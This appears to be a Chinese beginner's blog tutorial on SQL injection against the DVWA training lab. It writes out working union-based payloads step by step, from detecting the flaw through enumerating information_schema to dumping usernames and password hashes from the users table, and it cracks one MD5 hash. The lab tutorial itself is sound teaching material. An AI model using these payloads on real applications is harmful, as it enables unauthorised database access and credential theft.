SQL注入详细入门笔记一(DVWA)

SQL注入笔记

目标:拿到表中登录用户账号密码;

[注意:]全过程中sql语句中的单引号都应该是英文输入法下的单引号;需要提前准备好DVWA环境,可参考https://www.cnblogs.com/sevenbug/p/11417100.html

  1. 入口

 

  1. 检测能否进行sql注入:输入单引号,点击提交报错

  1. 使用参数1’ or 1=1;#进行注入可以得到当前表下所有信息

 

  1. 可以通过1' or 1=1 order by 2;# (或9、8、7、6。。。依次尝试)判断出查询范围的字段个数;

 

5、通过这里基本可以推断出后台支持的sql语句结构为:SELECT first_name, last_name FROM 表名 WHERE user_id = '$id'

 

6、可以使用1’ union all select 1,2;#参数注入获取得到相关参数,可以将1,2参数替换为sql参数进行查询,如替换成database():查询当前数据库;user():查询当前用户

备注:

database():查询当前数据库;

user():查询当前用户;

version():查询数据库版本信息;

@@datadir:全局变量datadir查看数据存储路径;

@@basedir:查看数据库安装路径;

@@hostname:查看hostname;

@@version_compile_os:查看操作系统;

7、我们可以使用CONCAT_WS()函数一次性查询多个函数内容;如:

 

1’union all select CONCAT_WS(CHAR(32,58,32),user(),database(),version(),@@hostname),2;#

解释:

CONCAT_WS(X,Y,Z):使用X格式的内容将Y,Z值连接起来;

CHAR(32,58,32):是通过ASCII编码后的结果,对应 :(空格:空格);

 

8、mysql基础知识铺垫;

Information_schema:mysql数据库中存储元数据的数据库;

Tables:表中存储数据库名及其对应的数据表名;

Columns:表中存储数据表名及其列名;

Table_name:表名;

Table_schema:数据库名;

Column_name:表列名;

我们可以通过database()参数查到当前数据库为dvwa;

所以我们可以通过该数据库名查询得到该数据库下的表名:

'union select table_name,table_schema from information_schema.tables where table_schema ='dvwa';#

 

9、由上一步可以看出dvwa库下面有两个表guestbook、users表,用户密码猜测应该在users表里,所有我们现在需要查询得到该表的列信息,使用columns表查看;

‘union select table_name,column_name from information_schema.columns where table_name=’users’;#

 

10、由上一步可以知道该表中有user_id,first_name,last_name,user,password,avatar几个字段,因此可以知道表名users,字段名,所以可以查询出用户名和密码;

‘union Select user,password from users;#

 

11、可以看到密码进行加密,可以使用相应工具进行解密;

21232f297a57a5a743894a0e4a801fc3   根据密码长度猜测是通过MD5进行加密,所以通过MD5进行解密。解密结果为admin

到此成功拿到用户名密码相关信息;

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值